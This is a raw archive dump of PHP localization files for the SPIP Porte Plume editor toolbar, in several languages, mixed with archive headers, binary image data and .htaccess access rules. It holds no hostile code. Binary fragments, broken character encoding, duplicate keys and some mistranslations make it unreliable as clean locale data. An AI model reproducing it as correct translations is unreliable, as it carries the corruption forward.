hipervínculo (puede ser una URL de la forma http://www.misitio.com o simplmente el número de un artículo de este sitio).', 'barre_note' => 'Convertir en [[Nota al pie]]', 'barre_paragraphe' => 'Crear párrafo', 'barre_quote' => 'Citar', // B (depuis BTv2) 'barre_langue' => 'Idioma abreviado', //?? 'barre_miseenevidence' => 'Resaltar el [*texto*]', 'barre_exposant' => 'Poner el texto en <sup>superíndice</sup>', 'barre_petitescapitales' => 'Poner el texto en <sc>mayúsculas pequeñas</sc>', 'barre_centrer' => '[|Centrar|] párrafo', 'barre_alignerdroite' => '[/Alinear a derecha/]', 'barre_encadrer' => '[(Párrafo con recuadro)]', 'barre_e_accent_grave' => 'Intertar È', 'barre_ea' => 'Insertar ligadura æ', 'barre_ea_maj' => 'Insertar ligadura Æ', 'barre_c_cedille_maj' => 'Insertar Ç', 'barre_chercher' => 'Buscar y reemplazar', 'barre_tableau' => 'Insertar/modificar una tabla (seleccionala primero)', 'barre_glossaire' => '[?Referencia] (Wikipedia)', 'barre_caracteres' => 'Caracteres especiales', 'barre_lien_externe' => 'Enlace externo', 'barre_bulle' => 'Globo de ayuda', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Encabezado y resumen', 'barre_formatages_speciaux' => 'Formateado especial', 'barre_galerie' => 'Abrir la galería', 'barre_gestion_colonne' => 'Núm de columnas', 'barre_gestion_ligne' => 'Núm de líneas', 'barre_gestion_entete' => 'Encabezado', 'barre_gestion_taille' => 'Tamaño fijo', 'barre_gestion_cr_changercasse' => 'Alternar', 'barre_gestion_cr_changercassemajuscules' => 'Pasar a mayúsculas', 'barre_gestion_cr_changercasseminuscules' => 'Pasar a minúsculas', 'barre_gestion_cr_chercher' => 'Buscar', 'barre_gestion_cr_remplacer' => 'Reemplazar', 'barre_gestion_cr_casse' => 'Respetar mayúsculas y minúsculas', 'barre_gestion_cr_tout' => 'Reemplazar todo', 'barre_gestion_cr_entier' => 'Sólo palabras completas', 'barre_preview' => 'Modo previsualización', 'barre_stats' => 'Mostrar estadística del texto', 'barre_code' => 'Mostrar como <code>código fuente</code>', 'barre_cadre' => 'Mostrar dentro de una <cadre>caja de texto</cadre>', 'barre_poesie' => 'Mostrar como <poesie>Poesía</poesie>', 'barre_ancres' => 'Anclas', 'barre_gestion_anc_caption' => 'Gestionar las anclas', 'barre_gestion_anc_inserer' => 'Convertir a un ancla', 'barre_gestion_anc_nom' => 'Nombre del ancla', 'barre_gestion_anc_pointer' => 'Apuntar a un ancla', 'barre_gestion_anc_cible' => 'Destino del ancla', 'barre_gestion_anc_bulle' => 'Globo de ayuda de anclas' ); ?> PK`Q\֔barre_outils_it.phpnuW+A 'Elimina dal codice tutti i tag HTML', 'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)', 'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)', 'barre_liste_ul' => 'Converti in lista', 'barre_liste_ol' => 'Converti in lista numerata', 'barre_indenter' => 'Indenta la lista', 'barre_desindenter' => 'Elimina l\'indentazione dela lista', 'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali', 'barre_barre' => 'Barra il testo', 'editer'=>'Modifica', 'voir'=>'Vedi', // B (depuis SPIP) 'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo', 'barre_aide' => 'Utilizza le scorciatoie tipografiche per arricchire la tua impaginazione', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola: Ç', 'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola', 'barre_e_accent_grave' => 'Inserisci una E con accento grave minuscola: È', 'barre_ea' => 'Inserisci una E con legatura alla A: æ', 'barre_ea_maj' => 'Inserisci una E con legatura alla A maiuscola: Æ', 'barre_eo' => 'Inserisci una E con legatura alla O minuscola', 'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola', 'barre_euro' => 'Inserisci il simbolo €', 'barre_gestion_cr_changercassemajuscules' => 'Converti la selezione in maiuscolo', 'barre_gestion_cr_changercasseminuscules' => 'Converti la selezione in minuscolo', 'barre_gras' => 'Converti in {{grassetto}}', 'barre_guillemets' => 'Racchiudi tra « virgolette »', 'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”', 'barre_intertitre' => 'Trasforma in {{{titolo}}}', 'barre_italic' => 'Converti in {corsivo}', 'barre_lien' => 'Trasforma in [link ipertestuale->http://...]', 'barre_lien_input' => 'Indica l\'indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito.', 'barre_note' => 'Trasforma in [[nota a piè pagina]]', 'barre_paragraphe' => 'Crea un paragrafo', 'barre_quote' => 'Cita un messaggio', // B (depuis BTv2) 'barre_langue' => 'Acronimo lingua', 'barre_miseenevidence' => 'Metti il testo in [*evidenza*]', 'barre_exposant' => 'Metti il testo in <sup>esponente</sup>', 'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>', 'barre_centrer' => '[|Centra|] il paragrafo', 'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo', 'barre_encadrer' => '[(Riquadra)] il paragrafo', 'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave', 'barre_ea' => 'Inserisci una E nella A', 'barre_ea_maj' => 'Inserisci una E nella A maiuscola', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola', 'barre_chercher' => 'Cerca e sostituisci', 'barre_tableau' => 'Inserisci/modifica (selezionare prima) una tabella', 'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)', 'barre_caracteres' => 'Caratteri speciali', 'barre_adresse' => 'Indirizzo', 'barre_lien_externe' => 'Link esterno', 'barre_bulle' => 'Tooltip', 'barre_formatages_speciaux' => 'Formattazioni speciali', 'barre_galerie' => 'Apri la galleria', 'barre_gestion_caption' => 'Didascalia e riassunto', 'barre_gestion_colonne' => 'Num colonne', 'barre_gestion_ligne' => 'Num righe', 'barre_gestion_entete' => 'Intestazione', 'barre_gestion_taille' => 'Dimensione fissa', 'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole', 'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole', 'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole', 'barre_gestion_cr_chercher' => 'Cerca', 'barre_gestion_cr_remplacer' => 'Sostituisci', 'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole', 'barre_gestion_cr_tout' => 'Sostituisci tutto', 'barre_gestion_cr_entier' => 'Parola intera', 'barre_preview' => 'Modalit� anteprima', 'barre_stats' => 'Mostra le statistiche del testo', 'barre_code' => 'Impagina un <code>codice informatico</code>', 'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>', 'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>', 'barre_ancres' => 'Gestione delle ancore', 'barre_gestion_anc_caption' => 'Gestione delle ancore', 'barre_gestion_anc_inserer' => 'Trasforma in ancora', 'barre_gestion_anc_nom' => 'Nome dell\'ancora', 'barre_gestion_anc_pointer' => 'Punta verso un\'ancora', 'barre_gestion_anc_cible' => 'Destinazione ancora', 'barre_gestion_anc_bulle' => 'Tooltip ancora', // C 'config_info_enregistree' => "Configurazione salvata", // E 'explication_barre_outils_public' => "Gli script CSS e Javascript delle barre di testo (estensione Porte Plume) vengono caricate nello spazio pubblico e consentono di utilizzare queste barre sui moduli dei forum, i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni lo permettono.", 'explication_barre_outils_public_2' => "Puoi scegliere di non caricare questi script al fine di allegerire il peso delle pagine pubbliche. Qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di testo di Porte Pplume potrà essere inserita automaticamente nello spazio pubblico.", // I 'info_porte_plume_titre' => "Configura le barre di testo", 'info_barre_outils_public' => "Barra di testo pubblica", // L 'label_barre_outils_public_oui' => "Caricare gli script della barra di testo sullo spazio pubblico", 'label_barre_outils_public_non' => "Non caricare gli script della barra di testo sullo spazio pubblico", ); ?> PK`Q\x{&barre_outils_fr.phpnuW+A 'Nettoyer le code de toutes les balises HTML', 'barre_lorem_ipsum' => 'Insérer un paragraphe factice', 'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices', 'barre_liste_ul' => 'Mettre en liste', 'barre_liste_ol' => 'Mettre en liste numérotée', 'barre_indenter' => 'Indenter une liste', 'barre_desindenter' => 'Désindenter une liste', 'barre_inserer_caracteres' => 'Insérer des caractères spécifiques', 'barre_barre' => 'Barrer le texte', 'editer'=>'Éditer', 'voir'=>'Voir', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insérer un A accent grave majuscule', 'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule: Ç', 'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave: È', 'barre_ea' => 'Insérer un E dans l\'A: æ', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule: Æ', 'barre_eo' => 'Insérer un E dans l\'O', 'barre_eo_maj' => 'Insérer un E dans l\'O majuscule', 'barre_euro' => 'Insérer le symbole €', 'barre_gestion_cr_changercassemajuscules' => 'Passer la sélection en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer la sélection en minuscules', 'barre_gras' => 'Mettre en {{gras}}', 'barre_guillemets' => 'Entourer de « guillemets »', 'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”', 'barre_intertitre' => 'Transformer en {{{intertitre}}}', 'barre_italic' => 'Mettre en {italique}', 'barre_lien' => 'Transformer en [lien hypertexte->http://...]', 'barre_lien_input' => 'Veuillez indiquer l\'adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d\'un article de ce site.', 'barre_note' => 'Transformer en [[Note de bas de page]]', 'barre_paragraphe' => 'Créer un paragraphe', 'barre_quote' => 'Citer un message', // B (depuis BTv2) 'barre_langue' => 'Langue abrégée', 'barre_miseenevidence' => 'Mettre le texte en [*évidence*]', 'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>', 'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>', 'barre_centrer' => '[|Centrer|] le paragraphe', 'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe', 'barre_encadrer' => '[(Encadrer)] le paragraphe', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule', 'barre_chercher' => 'Chercher Remplacer', 'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau', 'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Caractères spéciaux', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Lien externe', 'barre_bulle' => 'Bulle d\'aide', 'barre_formatages_speciaux' => 'Formatage spéciaux', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Caption et Résumé', 'barre_gestion_colonne' => 'Nb colonnes', 'barre_gestion_ligne' => 'Nb lignes', 'barre_gestion_entete' => 'Entete', 'barre_gestion_taille' => 'Taille fixe', 'barre_gestion_cr_changercasse' => 'Changer la casse', 'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules', 'barre_gestion_cr_chercher' => 'Chercher', 'barre_gestion_cr_remplacer' => 'Remplacer', 'barre_gestion_cr_casse' => 'Respecter la casse', 'barre_gestion_cr_tout' => 'Tout remplacer', 'barre_gestion_cr_entier' => 'Mot entier', 'barre_preview' => 'Mode prévisualisation', 'barre_stats' => 'Afficher les statistiques du texte', 'barre_code' => 'Mettre en forme un <code>code informatique</code>', 'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>', 'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>', 'barre_ancres' => 'Gestion des ancres', 'barre_gestion_anc_caption' => 'Gestion des ancres', 'barre_gestion_anc_inserer' => 'Transformer en ancre', 'barre_gestion_anc_nom' => 'Nom de l\'ancre', 'barre_gestion_anc_pointer' => 'Pointer vers une ancre', 'barre_gestion_anc_cible' => 'Ancre cible', 'barre_gestion_anc_bulle' => 'Bulle d\'aide ancre', // C 'config_info_enregistree' => "Configuration sauvegardée", // E 'explication_barre_outils_public' => "Les scripts CSS et Javascript des barre d'outils (extension Porte Plume) sont chargés sur l'espace public et permettent d'utiliser ces barres sur les formulaires de forums, les crayons publics ou pour d'autres plugins, si leurs configurations respectives le permettent.", 'explication_barre_outils_public_2' => "Vous pouvez choisir de ne pas charger ces scripts afin d'alléger le poids des pages publiques. Dès lors quelque soit la configuration des forums, crayons ou plugin, aucune barre d'outils du Porte Plume ne pourra être présente automatiquement sur l'espace public.", // I 'info_porte_plume_titre' => "Configurer les barres d'outils", 'info_barre_outils_public' => "Barre d'outils publique", // L 'label_barre_outils_public_oui' => "Charger les scripts de barre d'outils sur l'espace public", 'label_barre_outils_public_non' => "Ne pas charger les scripts de barre d'outils sur l'espace public", ); ?> PK`Q\i#(barre_outils_de.phpnuW+A 'Code aller HTML-Tags bereinigen', 'barre_lorem_ipsum' => 'Einen falschen Absatz einfügen', 'barre_lorem_ipsum_3' => 'Drei falsche Absätze einfügen', 'barre_liste_ul' => 'Als Liste formatieren', 'barre_liste_ol' => 'Als nummerierte Liste formatieren', 'barre_indenter' => 'Liste mit Einrückungen', 'barre_desindenter' => 'Einrückungen aus Liste entfernen', 'barre_inserer_caracteres' => 'Sonderzeichen einfügen', 'barre_barre' => 'Text durchstreichen', 'editer'=>'Bearbeiten', 'voir'=>'Anzeigen', // B (depuis SPIP) 'barre_a_accent_grave' => 'Majuskel A mit accent grave einfügen', 'barre_aide' => 'Gestalten sie ihre Seite mit typografischen Kürzeln', 'barre_c_cedille_maj' => 'Majuskel C mit cédille einfügen', 'barre_e_accent_aigu' => 'Majuskel E mit accent aigu einfügen', 'barre_e_accent_grave' => 'Majuskel E mit accent grave einfügen', 'barre_ea' => 'E im A einfügen: æ', 'barre_ea_maj' => 'Majuskel E im A einfügen: Æ', 'barre_eo' => 'E im O einfügen', 'barre_eo_maj' => 'Majuskel E im O einfügen', 'barre_euro' => '€ Symbol einfügen', 'barre_gestion_cr_changercassemajuscules' => 'Auswahl in Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'Auswahl in Gemeine umwandeln', 'barre_gras' => '{{Fett}} setzen', 'barre_guillemets' => 'In « Anführungszeichen » setzen.', 'barre_guillemets_simples' => 'in “ doppelte Anführungszeichen ”', 'barre_intertitre' => 'In {{{Zwischentitel}}} umwandeln', 'barre_italic' => 'In {kursiv} umwandeln', 'barre_lien' => 'In [Hyperlink->http://...] umwandeln', 'barre_lien_input' => 'Bitte geben sie die Adresse ihrer Website an (Sie können eine Webadresse im Format http://www.meineseite.de, eine Mailadresse oder die Nummer eines Artikels dieser Website angeben.)', 'barre_note' => 'In [[Fu�note]] umwandeln', 'barre_paragraphe' => 'Absatz einfügen', 'barre_quote' => 'Nachricht zitieren', // B (depuis BTv2) 'barre_langue' => 'Sprache / Kurzform', 'barre_miseenevidence' => '[*hervorheben*]', 'barre_exposant' => 'Text <sup>hochstellen</sup>', 'barre_petitescapitales' => 'Text als <sc>Kapitälchen</sc>', 'barre_centrer' => 'Absatz [|zentrieren|]', 'barre_alignerdroite' => 'Absatz [/rechtsbündig/] ausrichten', 'barre_encadrer' => 'Absatz mit [(Kasten)]', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Majuskel E im A einfügen', 'barre_c_cedille_maj' => 'Majuskel C cédille einfügen', 'barre_chercher' => 'Suchen / Ersetzen', 'barre_tableau' => 'In einer Tabelle (bitte markieren) suchen und ersetzen', 'barre_glossaire' => 'Eintrag in [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Sonderzeichen', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Externer Link', 'barre_bulle' => 'Sprechblasenhilfe', 'barre_formatages_speciaux' => 'Spezielle Formatierungen', 'barre_galerie' => 'Galerie öffnen', 'barre_gestion_caption' => 'Motto und Zusammenfassung', 'barre_gestion_colonne' => 'Spaltenzahl', 'barre_gestion_ligne' => 'Zeilenzahl', 'barre_gestion_entete' => 'Kopf', 'barre_gestion_taille' => 'Feste Größe', 'barre_gestion_cr_changercasse' => 'Majusker/Gemeine tauschel', 'barre_gestion_cr_changercassemajuscules' => 'In Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'In Gemeine umwandeln', 'barre_gestion_cr_chercher' => 'Suchen', 'barre_gestion_cr_remplacer' => 'Ersetzen', 'barre_gestion_cr_casse' => 'Gross/Klein beachten', 'barre_gestion_cr_tout' => 'Alles ersetzen', 'barre_gestion_cr_entier' => 'Ganzes Wort', 'barre_preview' => 'Vorschaumodus', 'barre_stats' => 'Statistiken des Texts anzeigen', 'barre_code' => '<code>Programmcode </code> formatieren', 'barre_cadre' => 'In <cadre>Textfeld</cadre> einfügen', 'barre_poesie' => 'Als <Poesie>Poésie</poesie> formatieren', 'barre_ancres' => 'Anker verwalten', 'barre_gestion_anc_caption' => 'Anker verwalten', 'barre_gestion_anc_inserer' => 'In Anker umwandeln', 'barre_gestion_anc_nom' => 'Name des Ankers', 'barre_gestion_anc_pointer' => 'Link zu Anker', 'barre_gestion_anc_cible' => 'Zielanker', 'barre_gestion_anc_bulle' => 'Sprechblasenhilfe zum Anker', // C 'config_info_enregistree' => "Konfiguration gespeichert", // E 'explication_barre_outils_public' => "Die CSS et Javaskripte der Werkzeugleiste (Erweiterung Federhalter) werden in den öffentlichen Bereich geladen und ermöglichen diese Werkzeugleiten in den Formularen der Foren, des Stift-Plugins und in weiteren Plugins einzusetzen, wenn die jeweilige Konfiguration es erlaubt.", 'explication_barre_outils_public_2' => "Sie können die Verwendung der Werkzeugleisten verhindern und so den Code der öffentlichen Seiten verschlanken. Damit stehen sie weder in Foren, noch in den Eingabefeldern von Plugins zur Verfügung.", // I 'info_porte_plume_titre' => "Werkzeugleiste konfigurieren", 'info_barre_outils_public' => "Öffentliche Werkzeugleiste", // L 'label_barre_outils_public_oui' => "Werkzeugleisten und Skripte im öffentlichen Bereich laden.", 'label_barre_outils_public_non' => "Werkzeugleisten nicht im öffentlichen Bereich laden.", ); ?> PK`Q\?barre_outils_en.phpnuW+APK`Q\r}r77barre_outils_ar.phpnuW+APK`Q\њZKbarre_outils_es.phpnuW+APK`Q\֔7\barre_outils_it.phpnuW+APK`Q\x{& sbarre_outils_fr.phpnuW+APK`Q\i#(kbarre_outils_de.phpnuW+APK;PKQ\AAconfiguration/preview.html.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/markitup/templates/preview.html000066600000000626151451433710023114 0ustar00 markItUp! preview template PKQ\Hڋconfiguration/eye.png.tar.gznuW+AMկL-(M,J///O(I++//*I/)LK-OJ,KL+Kg Vq 0465c0454"cSC#SJKVîA:yL^O -l@RD Œ9kK _5$8?fSR/(]UӅɍ!n!f:>&.PXL,c^^&)!%6zyghf“&tOާsNmY>ڠ_մnP>(+hх67z{IaiǬ9,&Еm Order allow,deny Deny from all Order allow,deny Allow from all PKQ\mconfiguration/lang.tarnuW+Abarre_outils_en.php000066600000011704151451432410010440 0ustar00 'Clean the code of all HTML tags', 'barre_lorem_ipsum' => 'Insert a fake paragraph', 'barre_lorem_ipsum_3' => 'Insert three fake paragraphs', 'barre_liste_ul' => 'Set list', 'barre_liste_ol' => 'Set numbered list', 'barre_indenter' => 'Indent a line', 'barre_desindenter' => 'Unindent a line', 'barre_inserer_caracteres' => 'Insert special characters', 'barre_barre' => 'Strike through the text', 'editer'=>'Edit', 'voir'=>'Preview', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insert a capital A with grave accent: À', 'barre_aide' => 'Use the typographic short cuts to refine your layout', 'barre_c_cedille_maj' => 'Insert a capital Ç with cedilla: Ç', 'barre_e_accent_aigu' => 'Insert a capital E with acute accent: É', 'barre_e_accent_grave' => 'Insert a capital E with grave accent: È', 'barre_ea' => 'Insert an oe-ligature: æ', 'barre_ea_maj' => 'Insert a capital an oe-ligature: Æ', 'barre_eo' => 'Insert an oe-ligature: œ', 'barre_eo_maj' => 'Insert a capital OE-ligature: Œ', 'barre_euro' => 'Insert the € symbol', 'barre_gestion_cr_changercassemajuscules' => 'Convert to UPPERCASE', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lowercase', 'barre_gras' => '{{Bold}}', 'barre_guillemets' => 'Place between «double quotes«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Turn into a {{{subheading}}}', 'barre_italic' => '{Italic}', 'barre_lien' => 'Turn into a [hyperlink->http://...]', 'barre_lien_input' => 'Please enter the target of your hyperlink (you may give an internet URL in the form http://www.mysite.com or else simply the number of an article on this site).', 'barre_note' => 'Turn into a [[Footnote]]', 'barre_paragraphe' => 'Create a paragraph', 'barre_quote' => 'Quote a message', // B (depuis BTv2) 'barre_langue' => 'Abbreviated lnguage', 'barre_miseenevidence' => '[*Highlight*] the text', 'barre_exposant' => 'Put the text in <sup>superscript</sup>', 'barre_petitescapitales' => 'Put the text in <sc>small capitales</sc>', 'barre_centrer' => '[|Center|] the paragraph', 'barre_alignerdroite' => '[/Right align/] the paragraph', 'barre_encadrer' => '[(Frame)] the paragraph', 'barre_e_accent_grave' => 'Insert capital E grave', 'barre_ea' => 'Insert æ', 'barre_ea_maj' => 'Insert Æ', 'barre_c_cedille_maj' => 'Insert capital C cedilla', 'barre_chercher' => 'Search & Replace', 'barre_tableau' => 'Insert/modify a table (select it first)', 'barre_glossaire' => '[?Glossary] reference (Wikipedia)', 'barre_caracteres' => 'Special characters', 'barre_adresse' => 'Address', 'barre_lien_externe' => 'External link', 'barre_bulle' => 'Help bubble', 'barre_formatages_speciaux' => 'Special formating', 'barre_galerie' => 'Open gallery', 'barre_gestion_caption' => 'Caption and Summary', 'barre_gestion_colonne' => 'No. of columns', 'barre_gestion_ligne' => 'No. of lines', 'barre_gestion_entete' => 'Header', 'barre_gestion_taille' => 'Fixed size', 'barre_gestion_cr_changercasse' => 'Change case', 'barre_gestion_cr_changercassemajuscules' => 'Convert to upper case', 'barre_gestion_cr_changercasseminuscules' => 'Convert to lower case', 'barre_gestion_cr_chercher' => 'Search', 'barre_gestion_cr_remplacer' => 'Replace', 'barre_gestion_cr_casse' => 'Match case', 'barre_gestion_cr_tout' => 'Replace all', 'barre_gestion_cr_entier' => 'Only complete words', 'barre_preview' => 'Preview mode', 'barre_stats' => 'Show text statistics', 'barre_code' => 'Edit a <code>computer code</code>', 'barre_cadre' => 'Put in a <cadre>textarea</cadre>', 'barre_poesie' => 'Edit as a <poesie>poetry</poesie>', 'barre_ancres' => 'Anchors', 'barre_gestion_anc_caption' => 'Anchors', 'barre_gestion_anc_inserer' => 'Convert to anchor', 'barre_gestion_anc_nom' => 'Anchor name', 'barre_gestion_anc_pointer' => 'Point to an anchor', 'barre_gestion_anc_cible' => 'Anchor target', 'barre_gestion_anc_bulle' => 'Anchor help bubble', // C 'config_info_enregistree' => "Configuration saved", // E 'explication_barre_outils_public' => "CSS and Javascript Scripts for toolbars (Quill extension, Porte Plume) are loaded in the public site and provide toolbars in forums, public crayons or other plugins if their respective configurations allow it.", 'explication_barre_outils_public_2' => "You can choose not to load these scripts in to lighten public pages. Therefore, whatever configuration the forums, crayons or plugins have, no Quill toolbar will show automatically in the public site.", // I 'info_porte_plume_titre' => "Toolbars configuration", 'info_barre_outils_public' => "Public toolbars", // L 'label_barre_outils_public_oui' => "Load the toolbars\' scripts in the public site.", 'label_barre_outils_public_non' => "Do not load the toolbars\' scripts in the public site" ); ?> barre_outils_ar.php000066600000033420151451432410010437 0ustar00 'تنظيف الرموز البرمجية من كل علامات HTML', 'barre_lorem_ipsum' => 'إدراج فقرة زائفة', 'barre_lorem_ipsum_3' => 'إدراج ثلاث فقرات زائفة', 'barre_liste_ul' => 'تحويل الى لائحة', 'barre_liste_ol' => 'تحويل الى لائحة مرقمة', 'barre_indenter' => 'إزاحة لائحة', 'barre_desindenter' => 'إلغاء إزاحة لائحة', 'barre_inserer_caracteres' => 'إدراج حروف محددة', 'barre_barre' => 'شطب النص', 'editer'=>'تحرير', 'voir'=>'معاينة', // B (depuis SPIP) 'barre_a_accent_grave' => 'إدراج A مع نبر الاطالة: À', 'barre_aide' => 'استخدم شريط اختصارات الكتابة لإغناء تصميم صفحتك', 'barre_c_cedille_maj' => 'إدراج Ç كبير', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر حاد - É', 'barre_e_accent_aigu' => 'ادراج E كبير مع نبر خفيض - È', 'barre_ea' => 'ادراج E داخل A: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_eo' => 'ادراج e داخل o: œ', 'barre_eo_maj' => 'ادراج E كبير داخل O كبير: Œ', 'barre_euro' => 'ادراج رمز €', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى حروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى حروف صغيرة', 'barre_gras' => '{{اسود}}', 'barre_guillemets' => 'احاطة «بعلامتي اقتباس مزدوجة»', 'barre_guillemets_simples' => 'وضع بين "علامتي إقتباس مزدوجة من المستوى الثاني"', 'barre_intertitre' => 'تحويل الى {{{عنوان فقرة}}}', 'barre_italic' => '{مائل}', 'barre_lien' => 'تحويل الى [وصلة هايبرتكست->http://...]', 'barre_lien_input' => 'الرجاء ادخال عنوان الوصلة (يمكنك ادخال عنوان نسيج على شكل http://www.mysite.com او ادخال رقم مقال من الموقع الحالي فقط).', 'barre_note' => 'تحويل الى [[حاشية]]', 'barre_paragraphe' => 'انشاء فقرة', 'barre_quote' => 'اقتباس رسالة', // B (depuis BTv2) 'barre_langue' => 'لغة مختصرة', 'barre_miseenevidence' => '[*إبراز*] النص', 'barre_exposant' => 'تحويل الى <sup>نص فوقي</sup>', 'barre_petitescapitales' => 'تحويل الى <sc>حروف كبيرة مصغرة</sc>', 'barre_centrer' => '[|توسيط|] الفقرة', 'barre_alignerdroite' => 'محاذاة الى [/اليمين/]', 'barre_encadrer' => 'وضع في [(إطار)]', 'barre_e_accent_grave' => 'إدراج E كبير مع نبر الاطالة: È', 'barre_ea' => 'ادراج e داخل a: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_c_cedille_maj' => 'ادراج C كبير مع علامة لفظية: Ç', 'barre_chercher' => 'بحث واستبدال', 'barre_tableau' => 'إدراج جدول أو تعديل جدول (تحديده أولاً)', 'barre_glossaire' => 'مدخل في [?المعجم] (ويكيبيديا)', 'barre_caracteres' => 'حروف خاصة', 'barre_adresse' => 'عنوان', 'barre_lien_externe' => 'رابط خارجي', 'barre_bulle' => 'بالون تعليمات', 'barre_formatages_speciaux' => 'تنسيقات خاصة', 'barre_galerie' => 'فتح صالة العرض', 'barre_gestion_caption' => 'وصف وملخص', 'barre_gestion_colonne' => 'عدد الأعمدة', 'barre_gestion_ligne' => 'عدد السطور', 'barre_gestion_entete' => 'ترويسة', 'barre_gestion_taille' => 'حجم ثابت', 'barre_gestion_cr_changercasse' => 'تغيير حجم الحروف', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى الحروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى الحروف صغيرة', 'barre_gestion_cr_chercher' => 'بحث', 'barre_gestion_cr_remplacer' => 'استبدال', 'barre_gestion_cr_casse' => 'تطابق حجم الحروف', 'barre_gestion_cr_tout' => 'استبدال الكل', 'barre_gestion_cr_entier' => 'كلمة كاملة', 'barre_preview' => 'معاينة', 'barre_stats' => 'عرض احصاءات النص', 'barre_code' => 'تنسيق <code>مقطع رموز برمجية</code>', 'barre_cadre' => 'وضع في <cadre>مجال إدخال نصوص</cadre>', 'barre_poesie' => 'تنسيق <poesie>شعر</poesie>', 'barre_ancres' => 'إدارة المراسي', 'barre_gestion_anc_caption' => 'إدارة المراسي', 'barre_gestion_anc_inserer' => 'تحويل الى مرساة', 'barre_gestion_anc_nom' => 'اسم المرساة', 'barre_gestion_anc_pointer' => 'التصويب الى مرساة', 'barre_gestion_anc_cible' => 'المرساة الهدف', 'barre_gestion_anc_bulle' => 'بالون تعليمات المرساة', // C 'config_info_enregistree' => "تم حفظ الإعداد", // E 'explication_barre_outils_public' => "يتم تحميل أوامر أوراق الأنماط وجافاسكريبت (إضافة الريشة، Porte Plume) في الموقع العمومي لتوقر استخدام شريط الأدوات في استمارات المنتديات والأقلام العمومية وملحقات أخرى أذا سمحت إعداداتها بذلك.", 'explication_barre_outils_public_2' => "يمكنك اختيار عدم تحميل هذه الأوامر لتخفيف وزن الصفحات العمومية. عندها، مهما تكن إعدادات المنتديات او الأقلام او الملحقات، لن يظهر اي شريط أدوات من الريشة في الموقع العمومي.", // I 'info_porte_plume_titre' => "إعداد شريط الأدوات", 'info_barre_outils_public' => "شريط الأدوات العمومي", // L 'label_barre_outils_public_oui' => "تحميل أوامر شريط الأدوات في الموقع العمومي", 'label_barre_outils_public_non' => "عدم تحميل أوامر شريط الأدوات في الموقع العمومي" ); ?> barre_outils_es.php000066600000010232151451432410010440 0ustar00 'Limpiar el código de todas las etiquetas HTML', 'barre_lorem_ipsum' => 'Insertar un párrafo ficticio', 'barre_lorem_ipsum_3' => 'Insertar tres párrafos ficticios', 'barre_liste_ul' => 'Convertir en lista', 'barre_liste_ol' => 'Convertir en lista ordenada', 'barre_indenter' 